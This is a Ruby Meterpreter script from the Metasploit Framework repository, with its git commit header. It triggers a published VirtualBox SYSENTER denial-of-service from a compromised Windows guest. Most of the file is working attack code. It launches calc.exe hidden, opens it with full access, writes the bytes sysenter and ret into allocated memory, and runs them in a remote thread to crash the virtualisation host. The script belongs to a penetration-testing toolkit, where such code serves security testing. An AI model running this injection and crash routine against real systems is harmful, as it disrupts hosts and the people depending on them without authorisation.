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metasploit-framework/scripts/meterpreter/virtualbox_sysenter_dos.rb
James Lee 50aa304692 add usage and option parsing
git-svn-id: file:///home/svn/framework3/trunk@7362 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 00:40:19 +00:00

44 lines
1.1 KiB
Ruby

# $Id$
# Meterpreter script for triggering the VirtualBox DoS published at:
# http://milw0rm.com/exploits/9323
opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line("virtualbox_sysenter_dos -- trigger the VirtualBox DoS published at http://milw0rm.com/exploits/9323")
print_line("USAGE: run virtualbox_sysenter_dos")
print_status(opts.usage)
raise Rex::Script::Completed
end
}
# Spawn calculator
pid = client.sys.process.execute("calc.exe", nil, {'Hidden' => 'true'}).pid
print_status("Calculator PID is #{pid}")
calc = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
# Allocate some memory
mem = calc.memory.allocate(32)
print_status("Allocated memory at address #{"0x%.8x" % mem}")
# Write the trigger shellcode
# sysenter
# ret
calc.memory.write(mem, "\x0f\x34\xc3")
print_status("VirtualBox SYSENTER Denial of Service launching...")
# Create a new thread on the shellcode pointer
calc.thread.create(mem, 0)
print_status("VirtualBox SYSENTER Denial of Service delivered.")